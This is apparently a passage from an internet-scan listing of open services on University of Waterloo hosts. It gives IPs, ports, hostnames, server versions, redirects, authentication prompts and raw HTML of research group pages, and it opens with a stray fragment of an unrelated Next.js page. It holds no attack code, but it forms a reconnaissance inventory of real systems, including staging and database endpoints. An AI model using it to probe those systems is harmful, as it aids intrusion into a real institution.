src="/_next/static/chunks/768-7902aa24bce0bd1f.js" async=""></script><script src="/_next/static/chunks/app/page-dcfdeb8c0e8a6d7c.js" async=""></script><meta name="next-size-adjust" content=""/><title>Next.js and Supabase Starter Kit</title><meta name="description" content="The fastest way to build apps with Next.js and Supabase"/><meta property="og:title" content="Next.js and Supabase Starter Kit"/><meta property="og:description" content="The fastest way to build apps with Next.js and Supabase"/><meta property="og:image:type" content="image/png"/><meta property="og:image:width" content="1200"/><meta property="og:image:height" content="600"/><meta property="og:image" content="http://localhost:3000/opengraph-image.png?2e0bc232e210f89d"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:title" content="Next.js and Supabase Starter Kit"/><meta name="twitter:description" content="The fastest way to build apps with Next.js and Supabase"/><meta name="twitter:image:type" content="image/png"/><meta name="twitter:image:width" content="1200"/><meta name="twitter:image:height" content="600"/><meta name="twitter:image" content="http://localhost:3000/twitter-image.png?2e0bc232e210f89d"/><link rel="icon" href="/favicon.ico" type="image/x-icon" sizes="16x16"/><script src="/_next/static/chunks/polyfills-42372ed130431b0a.js" noModule=""></script></head><body class="__className_188709 antialiased"><div hidden=""><!--$--><!--/$--></div><script>((a,b,c,d,e,f,g,h)=>{let i=document.documentElement,j=["light","dark"];function k(b){var c;(Array.isArray(a)?a:[a]).forEach(a=>{let c="class"===a,d=c&&f?e.map(a=>f[a]||a):e;c?(i.classList.remove(...d),i.classList.add(f&&f[b]?f[b]:b)):i.setAttribute(a,b)}),c=b,h&&j.includes(c)&&(i.style.colorScheme=c)}if(d)k(d);else try{let a=localStorage.getItem(b)||c,d=g&&"system"===a?window.matchMedia("(prefers-color-scheme: dark)").matches?"dark":"light":a;k(d)}catch(a){}})("class","theme","system",null,["light","dark"],null,true,true)</script><main class="min-h-screen flex flex-col items-center"><div class="flex-1 w-full flex flex-col"><nav class="w-full flex border-b border-b-foreground/10 h-16 sticky"><div class="w-full flex justify-between items-center p-8 px-16 text-sm"><div class="flex gap-5 items-center font-semibold"><a href="/">deliberarts (wip)</a></div><div class="flex gap-5 items-center"><div class="flex gap-2"><a class="inline-flex items-center justify-center gap-2 whitespace-nowrap font-medium transition-colors focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring disabled:pointer-events-none disabled:opacity-50 [&_svg]:pointer-events-none [&_svg]:size-4 [&_svg]:shrink-0 border border-input bg-background shadow-sm hover:bg-accent hover:text-accent-foreground h-8 rounded-md px-3 text-xs" href="/auth/login">Sign in</a><a class="inline-flex items-center justify-center gap-2 whitespace-nowrap font-medium transition-colors focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring disabled:poi
Open service 52.233.38.143:443 · openapi.data.uwaterloo.ca
2026-01-22 21:19
HTTP/1.1 404 Not Found Content-Length: 0 Connection: close Date: Thu, 22 Jan 2026 21:19:42 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=b94576c2d163020e8817f221b76de4b33a22a5901de8abf953ffba7f6962ecc3;Path=/;HttpOnly;Secure;Domain=openapi.data.uwaterloo.ca Set-Cookie: ARRAffinitySameSite=b94576c2d163020e8817f221b76de4b33a22a5901de8abf953ffba7f6962ecc3;Path=/;HttpOnly;SameSite=None;Secure;Domain=openapi.data.uwaterloo.ca Strict-Transport-Security: max-age=2592000 X-Powered-By: ASP.NET
Open service 129.97.7.167:443 · ickok4o0go40kcowsocsow0c.pandora.cs.uwaterloo.ca
2026-01-22 21:10
HTTP/1.1 503 Service Unavailable Alt-Svc: h3=":443"; ma=2592000 Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Thu, 22 Jan 2026 21:11:30 GMT Content-Length: 20 Connection: close no available server
Open service 129.97.222.96:443 · datastream-db.sci.uwaterloo.ca
2026-01-22 20:33
HTTP/1.1 401 Unauthorized Alt-Svc: h3=":443"; ma=2592000 Content-Length: 39 Content-Type: text/plain; charset=utf-8 Date: Thu, 22 Jan 2026 20:33:31 GMT Vary: Accept-Encoding Via: 1.1 Caddy Www-Authenticate: Basic realm="Restricted" X-Content-Type-Options: nosniff X-Server-Hostname: 8e5477b52271 Connection: close missing 'Authorization' request header
Open service 129.97.222.96:80 · datastream-db.sci.uwaterloo.ca
2026-01-22 20:33
HTTP/1.1 401 Unauthorized Content-Length: 39 Content-Type: text/plain; charset=utf-8 Date: Thu, 22 Jan 2026 20:34:01 GMT Vary: Accept-Encoding Via: 1.1 Caddy Www-Authenticate: Basic realm="Restricted" X-Content-Type-Options: nosniff X-Server-Hostname: 8e5477b52271 Connection: close missing 'Authorization' request header
Open service 129.97.222.96:80 · scibase-stage.uwaterloo.ca
2026-01-22 20:14
HTTP/1.1 308 Permanent Redirect Connection: close Location: https://scibase-stage.uwaterloo.ca/ Server: Caddy Date: Thu, 22 Jan 2026 20:15:15 GMT Content-Length: 0
Open service 129.97.222.96:443 · scibase-stage.uwaterloo.ca
2026-01-22 20:14
HTTP/1.1 307 Temporary Redirect Alt-Svc: h3=":443"; ma=2592000 Location: https://checkvpn.uwaterloo.ca/?callback=https://scibase-stage.uwaterloo.ca/ Server: Caddy Date: Thu, 22 Jan 2026 20:14:46 GMT Content-Length: 0 Connection: close
Open service 129.97.222.96:443 · kleinke.uwaterloo.ca
2026-01-22 19:34
HTTP/1.1 302 Found Alt-Svc: h3=":443"; ma=2592000 Location: https://uwaterloo.ca/kleinke-lab Server: Caddy Date: Thu, 22 Jan 2026 19:34:34 GMT Content-Length: 0 Connection: close
Open service 129.97.222.96:80 · kleinke.uwaterloo.ca
2026-01-22 19:34
HTTP/1.1 308 Permanent Redirect Connection: close Location: https://kleinke.uwaterloo.ca/ Server: Caddy Date: Thu, 22 Jan 2026 19:35:03 GMT Content-Length: 0
Open service 129.97.167.168:443 · softeng.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 301 Moved Permanently date: Thu, 22 Jan 2026 18:42:40 GMT server: Apache/2.4.58 (Ubuntu) location: https://uwaterloo.ca/software-engineering/ content-length: 337 content-type: text/html; charset=iso-8859-1 strict-transport-security: max-age=16000000; preload; set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca1; path=/ connection: close Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://uwaterloo.ca/software-engineering/">here</a>.</p> <hr> <address>Apache/2.4.58 (Ubuntu) Server at softeng.uwaterloo.ca Port 443</address> </body></html>
Open service 129.97.167.168:443 · qc.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 200 OK
date: Thu, 22 Jan 2026 18:42:39 GMT
server: Apache/2.4.58 (Ubuntu)
cache-control: private, max-age=0, must-revalidate
last-modified: Mon, 02 Apr 2007 15:41:49 GMT
etag: "2161-42d230f33c940"
accept-ranges: bytes
content-length: 8545
vary: Accept-Encoding
content-type: text/html; charset=utf-8
strict-transport-security: max-age=16000000; preload;
set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca3; path=/
connection: close
Page title: Quantum Computing in the School of Computer Science
<html>
<head>
<title>Quantum Computing in the School of Computer Science</title>
<style TYPE='text/css'>
a {
text-decoration: none}
body {
font-family: sans-serif;
padding: 0;
margin: 0;
background-color: #666;
color: #000;
text-align: center;
}
p {
color: black;
background-color: transparent;
padding: 0px 30px 0px 30px;
line-height:1.3;
font-size: 15px;
}
h1 {
font-size: 28px;
}
h3 {
background-color:rgb(215, 215, 215);
color:black;
text-align:center;
padding: 10px 0px 10px 0px;
border-width: 0;
}
#portrait{
naturalsizeflag:0;
border-width:1;
border-style:solid;
border-color:gray;
height:80;
alt="photo"
}
#logo{
border-width:0;
alt="logo";
align: center;
}
#title-box{
color:black;
border-width: 0;
padding: 40px 20px 0px 20px;
}
#text-box{
padding: 10px 35px 10px 35px;
}
#content-box{
margin-top: 10px;
margin-bottom: 10px;
margin-right: auto;
margin-left: auto;
width: 800px;
padding: 10px;
background-color: #FFF;
color: #000;
text-align: justify;
}
</style>
</head>
<body>
<div id = "content-box">
<div id="title-box">
<table width="100%">
<tbody>
<tr>
<td width="100%">
<center>
<h1>Quantum Computing Research Group</h1>
<h4><a href = "http://www.cs.uwaterloo.ca">School of Computer Science</a>,
<a href = "http://www.uwaterloo.ca">University of Waterloo</a></h4>
</center>
</td>
</tr>
</tbody>
</table>
</div>
<div id="text-box">
<p>
Quantum information formulates the notion of information in a manner
that accounts for the quantum mechanical behavior of our world.
In this framework, models of computation and communication that
harness the strange power of quantum mechanics have been proposed and
investigated.
In particular, quantum computers are computing devices can exist in
several states simultaneously and their computation paths can
interfere with each other.
They can perform some tasks exponentially faster than any classical
computer (restricted to the laws of classical physics).
For example, a quantum computer can factor an <i>n</i>-bit integer in time
polynomial in <i>n</i>, whereas all known classical algorithms require
exponential time to do this.
It follows that a quantum computer can easily break many public-key
cryptosystems, such as RSA.
There are, however, quantum public-key cryptosystems based on the
uncertainty principle, that are provably secure against any (classical
or quantum) attack.
<p>
Quantum computing in the School of Computer Science is focused on the
theoretical aspects of quantum computing, including
the design and analysis of quantum algorithms, cryptographic
protocols, and various issues in information and complexity theory.
We are part of the University of Waterloo's
<strong><a href = "http://www.iqc.ca">Institute for Quantum
Computing</a></strong>—please see the institute's web page and our individual
web pages for further details of our research and activities.
</div>
<h3>
Faculty Members
</h3>
<table width="100%">
<tbody>
<tr>
<td width="25%">
<table cellspacing=10 width="100%">
<tbody>
<tr>
<td align="right" valign="middle" width="50%">
<img src="cleve.jpg" id="portrait">
</td>
<td align="left" valign="middle" width="50%">
<a href="http://www.cs.uwaterloo.ca/~cleve">
<strong>Richard<br> Cleve</strong></a>
</td>
</tr>
</tbody>
</table>
</td>
<td width="25%">
<table cellspacing=10 width="100%">
<tbody>
<tr>
<td align="right" valign="middle" width="50%">
<img src="watrous.jpg" id="portrait">
</td>
<td align="left" valign="middle" width="50%">
<a href="http://www.cs.uwaterloo.ca/~watrous">
<strong>John<br> Watrous</strong></a>
</td>
</tr>
</tbody>
</table>
</td>
<td width="50%"></td>
</tr>
</tbody>
</table>
<h3>
Cross-Appointed Faculty Members
</h3>
<table width="100%">
<tbody>
<tr>
<td width="25%">
<table cellspacing=10 width="100%">
<tbody>
<tr>
<td align="right" valign="middle" width="50%">
<img src="ambainis.jpg" id="portrait">
</td>
<td align="left" valign="middle" width="50%">
<a href="http://www.math.uwaterloo.ca/
Open service 129.97.167.168:443 · ripple.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 200 OK
date: Thu, 22 Jan 2026 18:42:39 GMT
server: Apache/2.4.58 (Ubuntu)
cache-control: private, max-age=0, must-revalidate
last-modified: Sun, 01 Mar 2020 16:40:46 GMT
etag: "687f-59fcdbb80f99d"
accept-ranges: bytes
content-length: 26751
vary: Accept-Encoding
content-type: text/html; charset=utf-8
strict-transport-security: max-age=16000000; preload;
set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca2; path=/
connection: close
Page title: CrySP RIPPLE Facility | University of Waterloo
<!DOCTYPE html>
<html dir="ltr" lang="en" prefix="og: http://ogp.me/ns# article: http://ogp.me/ns/article# book: http://ogp.me/ns/book# profile: http://ogp.me/ns/profile# video: http://ogp.me/ns/video# product: http://ogp.me/ns/product# content: http://purl.org/rss/1.0/modules/content/ dc: http://purl.org/dc/terms/ foaf: http://xmlns.com/foaf/0.1/ rdfs: http://www.w3.org/2000/01/rdf-schema# sioc: http://rdfs.org/sioc/ns# sioct: http://rdfs.org/sioc/types# skos: http://www.w3.org/2004/02/skos/core# xsd: http://www.w3.org/2001/XMLSchema# schema: http://schema.org/ v: http://www.w3.org/2006/vcard/ns#">
<head>
<meta content="text/html; charset=utf-8" http-equiv="Content-Type"/>
<script type="text/x-mathjax-config">MathJax.Hub.Config({ extensions: ['tex2jax.js'], jax: ['input/TeX'], MMLorHTML: { prefer: { Firefox: "MML" }}, tex2jax: { displayMath: [ ['\\[','\\]'] ], inlineMath: [ ['\\(','\\)'] ], processEscapes: true, processClass: 'page', ignoreClass: 'html' }, showProcessingMessages: false, messageStyle: 'none' });
</script>
<meta content="width=device-width, initial-scale=1" name="viewport"/>
<meta content="IE=edge" http-equiv="X-UA-Compatible"/>
<link href="/tmplts/images/twitterlogo.png" rel="image_src"/>
<link href="/cryspfavicon.ico?v=2" rel="shortcut icon" type="image/vnd.microsoft.icon"/>
<title>CrySP RIPPLE Facility | University of Waterloo</title>
<meta content="#000000" name="msapplication-navbutton-color"/>
<meta content="#000000" name="msapplication-TileColor"/>
<link href="/tmplts/css/css_pGY7bbiSKCP_0G6lsHqwRDW-H7rDmYXC3gMgXQqmF2k.css" media="all" rel="stylesheet" type="text/css"/>
<link href="/tmplts/css/css_StRKruvHowrLiniFcHDx63Z5eig5qIEUDpdIeeJlLBc.css" media="all" rel="stylesheet" type="text/css"/>
<link href="/tmplts/css/css_Ukxnm85hApnnC4ns9usvK35rzKUBgHx9JewlJsmWrkk.css" media="all" rel="stylesheet" type="text/css"/>
<link href="/tmplts/css/css_l98GyvcJCxL31fzcLxxvHTgLqzWcV-1DKv50zcCb7y0.css" media="screen" rel="stylesheet" type="text/css"/>
<link href="/tmplts/css/css_sYrFn9bx_LwdljN2XzKQkz8T3IkWrZhekJT1PgTZhVA.css" media="all" rel="stylesheet" type="text/css"/>
<link href="/tmplts/css/css_E9Jx7KnM-yqRxjhPa8EV5J8WR_ykPxCCDdg2xV3lpFg.css" media="screen" rel="stylesheet" type="text/css"/>
<link href="/tmplts/css/css_7o6VCO_OUfmZvLFDyRocbIA7eGi0wI7EPyNDU1AGjeU.css" media="all" rel="stylesheet" type="text/css"/>
<link href="/tmplts/css/css_PWNT08KKUtFCovDiVfueJMA0VD0iVsB9RtxlzxZ2aYw.css" media="all" rel="stylesheet" type="text/css"/>
<link href="/tmplts/css/css_47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU.css" media="all" rel="stylesheet" type="text/css"/>
<link href="/tmplts/css/css_RvRgCkads_HB_FrGnLbr10XHCqFadBbwdN5MW4pcdVI.css" media="print" rel="stylesheet" type="text/css"/>
<link href="/tmplts/css/crysp_custom.css" media="all" rel="stylesheet" type="text/css"/>
<script src="/tmplts/js/js_x0MhBQfHNAIO1NwkQgzf_TGN4b8eMmKre3nqUfoQv3w.js" type="text/javascript"></script>
<script src="/tmplts/js/js_0Mzz7ykE2iyxMlpKO5FuKiO3GIfEcOW7SHP1gdqwjWQ.js" type="text/javascript"></script>
<script src="/tmplts/js/js_kPGwSQxri6lkKZIKFDXb1mubUdPj2b705I6Zrz7a-Jg.js" type="text/javascript"></script>
<script src="/tmplts/js/js_pt1OdRwR7ILcmHWAtPLtoiSkWrsN5ZWmylqFwg_mrZs.js" type="text/javascript"></script>
<script src="/tmplts/js/MathJax.js?config=TeX-AMS-MML_HTMLorMML" type="text/javascript"></script>
<script src="/tmplts/js/js_7l39CHTd7CHu66YbjCNUE2Bho6QogcWLv6K2jG4q9wI.js" type="text/javascript"></script>
<script src="/tmplts/js/js_RceNLLT2pJ3mE7Nilzvl40lYy8pm7kNJN9R6zvApeQA.js" type="text/javascript"></script>
<script type="text/javascript">
<!--//--><![CDATA[//><!--
jQuery.extend(Drupal.settings, {
"basePath": "\/computer-science\/",
"pathPrefix": "",
"ajaxPageState": {
"theme": "uw_fdsu_theme_resp",
"theme_token": "4cJLxOh1VOYOHPplyyGYjoSKYrdAHhaoJg-K5jmD0Ik",
"jquery_version": "1.8",
"js": {
"profiles\/uw_base_profile\/modules\/contrib\/responsive_tables_filter\/tablesaw\/js\/t
Open service 129.97.167.168:80 · ripple.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://ripple.uwaterloo.ca/ connection: close
Open service 129.97.167.168:80 · dsg.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://dsg.uwaterloo.ca/ connection: close
Open service 129.97.167.168:80 · softeng.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://softeng.uwaterloo.ca/ connection: close
Open service 129.97.167.168:443 · watform.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 200 OK
date: Thu, 22 Jan 2026 18:42:39 GMT
server: Apache/2.4.58 (Ubuntu)
cache-control: private, max-age=0, must-revalidate
last-modified: Thu, 12 Apr 2018 18:33:33 GMT
etag: "e58-569aafe2de515"
accept-ranges: bytes
content-length: 3672
vary: Accept-Encoding
content-type: text/html; charset=utf-8
strict-transport-security: max-age=16000000; preload;
set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca2; path=/
connection: close
Page title: WatForm: Home
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>WatForm: Home</title>
<link rel="stylesheet" type="text/css" href="style.css" />
<link rel="stylesheet" type="text/css" href="unique.css" />
<!-- If this is IE, run javascript code to fix its behaviour -->
<!--[if lt IE 8]>
<script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js"
type="text/javascript"></script>
<![endif]-->
<!-- Function to insert email address invisible to crawlers -->
<script type="text/javascript">
/* <![CDATA[ */
function insertMailto( $emailuser, $emailhost ) {
document.write('<a href=\"mailto:' + $emailuser + '@' + $emailhost
+ '\">' + $emailuser + '@' + $emailhost + '</a>');
/* ]]> */
}
</script>
</head>
<body>
<table>
<tr>
<td>
<img src="img/watform-logo.gif" align=right>
</td>
<td>
</td>
<td>
</td>
<td>
</td>
<td>
<h1>Waterloo Formal Methods Group</h1>
</td>
</tr>
</table>
<p>
</p>
<!-- This probably shouldn't be done as a table -->
<table id="main">
<tr>
<td id="nav-box" valign="top">
<ul id="nav-bar">
<li>
<a href="index.html">Home</a>
</li>
<li>
<a href="faculty.html">Faculty</a>
</li>
<li> Working Groups:
<ul>
<li>
<a href="wssg.html">
Waterloo System Safety Group
</a>
</li>
</ul>
</ul>
</td>
<td id="main-box">
<h2 class="title"></h2>
<p></p>
<h2>Mathematical Methods for Engineering Computer-Based Systems</h2>
<p>
The Waterloo Formal Methods Research Group, WatForm, was established in the Spring of 2001 at the University of Waterloo. WatForm draws its members from both the
<a href="http://www.cs.uwaterloo.ca">
David R Cheriton School of Computer Science
</a>
and the
<a href="http://www.ece.uwaterloo.ca">
Electrical and Computer Engineering Department
</a>
.
</p>
<p>
The focus of WatForm is the development of mathematical methods for engineering computer-based systems. All group members use rigorous and formal mathematics for the analysis or creation of systems. The group's research covers improvements to theories, development of algorithms, construction and evaluation of tools, and applications of techniques on real-world problems.
</p>
<p>
The WatForm members apply their results to the design and verification of real-world systems ranging from microprocessors to autonomous vehicles.
</p>
<p>
The group has developed a strong sense of synergy from the common mathematics, tools, and techniques that underly the different application domains. An important aspect to our group is the cross-fertilization of ideas that occur as we compare characteristics and solutions from our different fields.
</p>
<!--
For more information contact: watform AT uwaterloo DOT ca
-->
</td>
</tr>
</table>
<div class="validator">
<!-- If this is IE, display this link -->
<!--[if lt IE 8]>
<a href="http://code.google.com/p/ie7-js/">
<img style="border:0;width:88px"
src="http://ie7-js.googlecode.com/svn/version/ie7.gif"
alt="IE7 library used" />
</a>
<![endif]-->
<a href="http://validator.w3.org/check?uri=referer">
<img style="border:0;width:88px;height:31px;"
src="http://www.w3.org/Icons/valid-xhtml10-blue"
alt="Valid XHTML 1.0 Strict" />
</a>
<a href="http://jigsaw.w3.org/css-validator/check?uri=referer">
<img style="border:0;width:88px;height:31px;"
src="http://jigsaw.w3.org/css-validator/images/vcss-blue"
alt="Valid CSS!" />
</a>
</div>
<p class="lastModified">
Last modified on Thursday 12th of April 2018 02:32:45 PM</p> </body>
</html>
Open service 129.97.167.168:443 · inventory.math.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 302 Found date: Thu, 22 Jan 2026 18:42:39 GMT server: Apache/2.4.58 (Ubuntu) cache-control: private, max-age=0, must-revalidate location: https://inventory.math.uwaterloo.ca:443/mellon/login?ReturnTo=%2F transfer-encoding: chunked strict-transport-security: max-age=16000000; preload; set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca1; path=/ connection: close
Open service 129.97.167.168:80 · scicom.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://scicom.uwaterloo.ca/ connection: close
Open service 129.97.167.168:80 · www.scg.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://www.scg.uwaterloo.ca/ connection: close
Open service 129.97.167.168:80 · se.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://se.uwaterloo.ca/ connection: close
Open service 129.97.167.168:443 · se.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 200 OK
date: Thu, 22 Jan 2026 18:42:39 GMT
server: Apache/2.4.58 (Ubuntu)
cache-control: private, max-age=0, must-revalidate
accept-ranges: bytes
vary: Accept-Encoding
content-length: 6837
content-type: text/html; charset=utf-8
strict-transport-security: max-age=16000000; preload;
set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca1; path=/
connection: close
Page title: Software Engineering Research Group
<HTML>
<HEAD>
<title>Software Engineering Research Group</title>
<script>
home_button_up = new Image;
home_button_up.src = "images/home_button_clicked.jpg";
home_button_down = new Image;
home_button_down.src = "images/home_button_down.jpg";
group_button_up = new Image;
group_button_up.src = "images/group_button_up.jpg";
group_button_down = new Image;
group_button_down.src = "images/group_button_down.jpg";
links_button_up = new Image;
links_button_up.src = "images/links_button_up.jpg";
links_button_down = new Image;
links_button_down.src = "images/links_button_down.jpg";
faculty_button_up = new Image;
faculty_button_up.src = "images/faculty_button_up.jpg";
faculty_button_down = new Image;
faculty_button_down.src = "images/faculty_button_down.jpg";
mailing_button_up = new Image;
mailing_button_up.src = "images/se_mailing_lists.jpg"
mailing_button_down = new Image;
mailing_button_down.src = "images/se_mailing_lists_down.jpg"
policies_button_up = new Image;
policies_button_up.src = "images/policies_button_up.jpg";
policies_button_down = new Image;
policies_button_down.src = "images/policies_button_down.jpg";
function MouseOverRoutine(ButtonName)
{
if (ButtonName=="group_button")
{
document.group_button.src = group_button_down.src;
}
if (ButtonName=="links_button")
{
document.links_button.src = links_button_down.src;
}
if (ButtonName=="policies_button")
{
document.policies_button.src = policies_button_down.src;
}
if (ButtonName=="faculty_button")
{
document.faculty_button.src = faculty_button_down.src;
}
if (ButtonName=="mailing_button")
{
document.mailing_button.src = mailing_button_down.src;
}
}
function MouseOutRoutine(ButtonName)
{
if (ButtonName=="group_button")
{
document.group_button.src = group_button_up.src;
}
if (ButtonName=="links_button")
{
document.links_button.src = links_button_up.src;
}
if (ButtonName=="faculty_button")
{
document.faculty_button.src = faculty_button_up.src;
}
if (ButtonName=="policies_button")
{
document.policies_button.src = policies_button_up.src;
}
if (ButtonName=="mailing_button")
{
document.mailing_button.src = mailing_button_up.src;
}
}
</script>
<LINK REL=StyleSheet HREF="style.css" TYPE="text/css">
</head>
<BODY bgcolor="2d5693" width="600">
<center>
<table width="600" hieght="1000" cellspacing="0" cellpadding="0">
<tr>
<td><center>
<table cellspacing="0" cellpadding="0">
<tr><td>
<IMG SRC="images/se_logo6.jpg" ALIGN="TOP" BORDER="0" width="600" USEMAP="#Logo"></IMG>
<MAP NAME="Logo">
<AREA COORDS="25,5,140,60" SHAPE="RECT" HREF="http://www.uwaterloo.ca" TARGET="_top" NAME="UW"> </area>
<AREA COORDS="470,18,630,75" SHAPE="RECT" HREF="http://www.cs.uwaterloo.ca" TARGET="_top" NAME="School of CS"></area>
</MAP>
</td></td>
</table>
</center></td>
</tr>
<tr hieght="1000">
<td>
<table width="600"cellspacing="0" cellpadding="0"> <tr>
<td rowspan="2" valign="top" bgcolor="#2d5693" width="100" cellpadding="0" cellspacing="0">
<table align="center" cellspacing="0" cellpadding="0">
<tr><td><a href="index.html" onMouseOver="MouseOverRoutine('home_button')" onMouseOut="MouseOutRoutine('home_button')">
<img border="0" name="home_button" src="images/home_button_clicked.jpg" alt="Home">
</a></td></tr>
<tr><td><a href="se_groups.html" onMouseOver="MouseOverRoutine('group_button')" onMouseOut="MouseOutRoutine('group_button')">
<img border="0" name="group_button" src="images/group_button_up.jpg" alt="Groups">
</a></td></tr>
<tr><td><a href="se_faculty.html" onMouseOver="MouseOverRoutine('faculty_button')" onMouseOut="MouseOutRoutine('faculty_button')">
<img border="0" name="faculty_button" src="images/faculty_button_up.jpg" alt="Faculty">
</a></td></tr>
<tr><td><a href="se_mailing_lists.html" onMouseOver="MouseOverRoutine('ma
Open service 129.97.167.168:80 · cfm.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://cfm.uwaterloo.ca/ connection: close
Open service 129.97.167.168:443 · cfm.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 301 Moved Permanently date: Thu, 22 Jan 2026 18:42:39 GMT server: Apache/2.4.58 (Ubuntu) location: https://uwaterloo.ca/computing-financial-management/ content-length: 343 content-type: text/html; charset=iso-8859-1 strict-transport-security: max-age=16000000; preload; set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca1; path=/ connection: close Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://uwaterloo.ca/computing-financial-management/">here</a>.</p> <hr> <address>Apache/2.4.58 (Ubuntu) Server at cfm.uwaterloo.ca Port 443</address> </body></html>
Open service 129.97.167.168:443 · dsg.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 200 OK
date: Thu, 22 Jan 2026 18:42:39 GMT
server: Apache/2.4.58 (Ubuntu)
content-location: index.shtml
vary: negotiate,Accept-Encoding
tcn: choice
cache-control: private, max-age=0, must-revalidate
accept-ranges: bytes
content-length: 34733
content-type: text/html; charset=utf-8
strict-transport-security: max-age=16000000; preload;
set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca3; path=/
connection: close
Page title: Home | Cheriton School of Computer Science | University of WaterlooInstagramX (formerly Twitter)LinkedInFacebookYouTubeCampus mapInstagramX (formerly Twitter)LinkedInFacebookYouTubeOn It Check
<!DOCTYPE html>
<html class="no-js" dir="ltr" lang="en" prefix="content: http://purl.org/rss/1.0/modules/content/ dc: http://purl.org/dc/terms/ foaf: http://xmlns.com/foaf/0.1/ og: http://ogp.me/ns# rdfs: http://www.w3.org/2000/01/rdf-schema# schema: http://schema.org/ sioc: http://rdfs.org/sioc/ns# sioct: http://rdfs.org/sioc/types# skos: http://www.w3.org/2004/02/skos/core# xsd: http://www.w3.org/2001/XMLSchema# ">
<head>
<meta charset="utf-8"/>
<meta content="en_CA" property="og:locale"/>
<meta content="summary_large_image" name="twitter:card"/>
<meta content="Drupal 9 (https://www.drupal.org)" name="Generator"/>
<meta content="width" name="MobileOptimized"/>
<meta content="true" name="HandheldFriendly"/>
<meta content="width=device-width, initial-scale=1.0" name="viewport"/>
<script async="" src="https://www.googletagmanager.com/gtag/js?id=G-F2W1T1XRR6"></script>
<script>window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', 'G-F2W1T1XRR6', {
'cookie_domain': 'uwaterloo.ca',
'cookie_path': '/computer-science/',
'cookie_expires': 2592000
});</script>
<link href="https://uwaterloo.ca/computer-science/profiles/uw_base_profile/themes/uw_fdsu_theme_resp/favicon.ico" rel="icon"/>
<link href="https://uwaterloo.ca/computer-science/about/quick-facts" hreflang="en" rel="alternate"/>
<link href="https://uwaterloo.ca/computer-science/profiles/uw_base_profile/themes/uw_fdsu_theme_resp/icon.svg" rel="icon" type="image/svg+xml"/>
<link href="https://uwaterloo.ca/computer-science/profiles/uw_base_profile/themes/uw_fdsu_theme_resp/apple-touch-icon.png" rel="apple-touch-icon"/>
<link href="data:application/manifest+json,%7B%22icons%22%3A%5B%7B%22src%22%3A%22https%3A%5C%2F%5C%2Fuwaterloo.ca%5C%2Fcomputer-science%5C%2Fprofiles%5C%2Fuw_base_profile%5C%2Fthemes%5C%2Fuw_fdsu_theme_resp%5C%2Ficon-192.png%22%2C%22type%22%3A%22image%5C%2Fpng%22%2C%22sizes%22%3A%22192x192%22%7D%2C%7B%22src%22%3A%22https%3A%5C%2F%5C%2Fuwaterloo.ca%5C%2Fcomputer-science%5C%2Fprofiles%5C%2Fuw_base_profile%5C%2Fthemes%5C%2Fuw_fdsu_theme_resp%5C%2Ficon-512.png%22%2C%22type%22%3A%22image%5C%2Fpng%22%2C%22sizes%22%3A%22512x512%22%7D%5D%7D" rel="manifest"/>
<title>Home | Cheriton School of Computer Science | University of Waterloo</title>
<link crossorigin="" href="https://fonts.gstatic.com" rel="preconnect"/>
<link as="style" href="https://fonts.googleapis.com/css2?family=Barlow+Condensed:wght@500;700&family=Barlow:wght@400;500;700&display=swap" rel="preload"/>
<link href="https://fonts.googleapis.com/css2?family=Barlow+Condensed:wght@500;700&family=Barlow:wght@400;500;700&display=swap" media="print" onload="this.media='all'" rel="stylesheet"/>
<noscript>
<link href="https://fonts.googleapis.com/css2?family=Barlow+Condensed:wght@500;700&family=Barlow:wght@400;500;700&display=swap" rel="stylesheet"/>
</noscript>
<!-- Google Tag Manager -->
<script>(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start':
new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],
